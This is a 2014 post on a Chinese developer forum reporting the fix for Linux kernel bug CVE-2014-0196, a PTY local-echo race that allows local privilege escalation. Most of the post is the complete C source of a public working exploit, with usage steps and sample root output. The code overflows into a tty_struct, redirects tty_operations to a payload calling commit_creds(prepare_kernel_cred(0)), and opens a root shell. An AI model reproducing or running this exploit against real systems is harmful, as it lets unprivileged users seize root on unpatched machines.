Java开发网 Java开发网
注册 | 登录 | 帮助 | 搜索 | 排行榜 | 发帖统计  

您没有登录

» Java开发网 » Web Server & Linux  

按打印兼容模式打印这个话题 打印话题    把这个话题寄给朋友 寄给朋友    该主题的所有更新都将Email到你的邮箱 订阅主题
reply to postflat modethreaded modego to previous topicgo to next topicgo to back
作者 Linux内核修正5年历史的严重bug
阿熊

阿熊

元老


发贴: 5644
于 2014-05-14 18:09 user profilesend a private message to userreply to postsearch all posts byselect and copy to clipboard. 
ie only, sorry for netscape users:-)add this post to my favorite list
Linux内核维护者修复了一个有5年历史的严重bug,此bug是一个本地权限提升漏洞,管理员和用户都需要尽可能快的将系统更新到包含修正的最新版本。

该内存溢出bug是在2009年发布的2.6.31-rc3中被引入到内核的,它存在于控制Linux伪tty设备的n_tty_write函数中,允许无特权的用户执行恶意代码。

安全研究员Dan Rosenberg说它是过去一年发现的第一个权限提升漏洞,表示此类严重的漏洞每隔几年才会出现一个。

bug的编号是 CVE-2014-0196

攻击代码C语言

/*
* CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race
* condition
*
* Slightly-less-than-POC privilege escalation exploit
* For kernels >= v3.14-rc1
*
* Matthew Daley <mattd@bugfuzz.com>
*
* Usage:
* $ gcc cve-2014-0196-md.c -lutil -lpthread
* $ ./a.out
* [+] Resolving symbols
* [+] Resolved commit_creds: 0xffffffff81056694
* [+] Resolved prepare_kernel_cred: 0xffffffff810568a7
* [+] Doing once-off allocations
* [+] Attempting to overflow into a tty_struct...............
* [+] Got it :)
* # id
* uid=0(root) gid=0(root) groups=0(root)
*
* WARNING: The overflow placement is still less-than-ideal; there is a 1/4
* chance that the overflow will go off the end of a slab. This does not
* necessarily lead to an immediate kernel crash, but you should be prepared
* for the worst (i.e. kernel oopsing in a bad state). In theory this would be
* avoidable by reading /proc/slabinfo on systems where it is still available
* to unprivileged users.
*
* Caveat: The vulnerability should be exploitable all the way from
* v2.6.31-rc3, however relevant changes to the TTY subsystem were made in
* commit acc0f67f307f52f7aec1cffdc40a786c15dd21d9 ("tty: Halve flip buffer
* GFP_ATOMIC memory consumption") that make exploitation simpler, which this
* exploit relies on.
*
* Thanks to Jon Oberheide for his help on exploitation technique.
*/

#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <pthread.h>
#include <pty.h>
#include <stdio.h>
#include <string.h>
#include <termios.h>
#include <unistd.h>

#define TTY_MAGIC 0x5401

#define ONEOFF_ALLOCS 200
#define RUN_ALLOCS 30

struct device;
struct tty_driver;
struct tty_operations;

typedef struct {
  int counter;
} atomic_t;

struct kref {
  atomic_t refcount;
};

struct tty_struct_header {
  int  magic;
  struct kref kref;
  struct device *dev;
  struct tty_driver *driver;
  const struct tty_operations *ops;
} overwrite;

typedef int __attribute__((regparm(3))) (* commit_creds_fn)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* prepare_kernel_cred_fn)(unsigned long cred);

int master_fd, slave_fd;
char buf[1024] = {0};
commit_creds_fn commit_creds;
prepare_kernel_cred_fn prepare_kernel_cred;

int payload(void) {
  commit_creds(prepare_kernel_cred(0));

  return 0;
}

unsigned long get_symbol(char *target_name) {
  FILE *f;
  unsigned long addr;
  char dummy;
  char name[256];
  int ret = 0;

  f = fopen("/proc/kallsyms", "r");
  if (f == NULL)
    return 0;

  while (ret != EOF) {
    ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, name);
    if (ret == 0) {
      fscanf(f, "%s\n", name);
      continue;
    }

    if (!strcmp(name, target_name)) {
      printf("[+] Resolved %s: %p\n", target_name, (void *)addr);

      fclose(f);
      return addr;
    }
  }

  printf("[-] Couldn't resolve \"%s\"\n", name);

  fclose(f);
  return 0;
}

void *overwrite_thread_fn(void *p) {
  write(slave_fd, buf, 511);

  write(slave_fd, buf, 1024 - 32 - (1 + 511 + 1));
  write(slave_fd, &overwrite, sizeof(overwrite));
}

int main() {
  char scratch[1024] = {0};
  void *tty_operations[64];
  int i, temp_fd_1, temp_fd_2;

  for (i = 0; i < 64; ++i)
    tty_operations[i] = payload;

  overwrite.magic = TTY_MAGIC;
  overwrite.kref.refcount.counter = 0x1337;
  overwrite.dev = (struct device *)scratch;
  overwrite.driver = (struct tty_driver *)scratch;
  overwrite.ops = (struct tty_operations *)tty_operations;

  puts("[+] Resolving symbols");

  commit_creds = (commit_creds_fn)get_symbol("commit_creds");
  prepare_kernel_cred = (prepare_kernel_cred_fn)get_symbol("prepare_kernel_cred");
  if (!commit_creds || !prepare_kernel_cred)
    return 1;

  puts("[+] Doing once-off allocations");

  for (i = 0; i < ONEOFF_ALLOCS; ++i)
    if (openpty(&temp_fd_1, &temp_fd_2, NULL, NULL, NULL) == -1) {
      puts("[-] pty creation failed");
      return 1;
    }

  printf("[+] Attempting to overflow into a tty_struct...");
  fflush(stdout);

  for (i = 0; ; ++i) {
    struct termios t;
    int fds[RUN_ALLOCS], fds2[RUN_ALLOCS], j;
    pthread_t overwrite_thread;

    if (!(i & 0xfff)) {
      putchar('.');
      fflush(stdout);
    }

    if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) {
      puts("\n[-] pty creation failed");
      return 1;
    }

    for (j = 0; j < RUN_ALLOCS; ++j)
      if (openpty(&fds[j], &fds2[j], NULL, NULL, NULL) == -1) {
        puts("\n[-] pty creation failed");
        return 1;
      }

    close(fds[RUN_ALLOCS / 2]);
    close(fds2[RUN_ALLOCS / 2]);

    write(slave_fd, buf, 1);

    tcgetattr(master_fd, &t);
    t.c_oflag &= ~OPOST;
    t.c_lflag |= ECHO;
    tcsetattr(master_fd, TCSANOW, &t);

    if (pthread_create(&overwrite_thread, NULL, overwrite_thread_fn, NULL)) {
      puts("\n[-] Overwrite thread creation failed");
      return 1;
    }
    write(master_fd, "A", 1);
    pthread_join(overwrite_thread, NULL);

    for (j = 0; j < RUN_ALLOCS; ++j) {
      if (j == RUN_ALLOCS / 2)
        continue;

      ioctl(fds[j], 0xdeadbeef);
      ioctl(fds2[j], 0xdeadbeef);

      close(fds[j]);
      close(fds2[j]);
    }

    ioctl(master_fd, 0xdeadbeef);
    ioctl(slave_fd, 0xdeadbeef);

    close(master_fd);
    close(slave_fd);

    if (!setresuid(0, 0, 0)) {
      setresgid(0, 0, 0);

      puts("\n[+] Got it :)");
      execl("/bin/bash", "/bin/bash", NULL);
    }
  }
}




话题树型展开
人气 标题 作者 字数 发贴时间
5134 Linux内核修正5年历史的严重bug 阿熊 8065 2014-05-14 18:09

reply to postflat modethreaded modego to previous topicgo to next topicgo to back
  已读帖子
  新的帖子
  被删除的帖子
Jump to the top of page

   Powered by Jute Powerful Forum® Version Jute 1.5.6 Ent
Copyright © 2002-2021 Cjsdn Team. All Righits Reserved. 闽ICP备05005120号-1
客服电话 18559299278    客服信箱 714923@qq.com    客服QQ 714923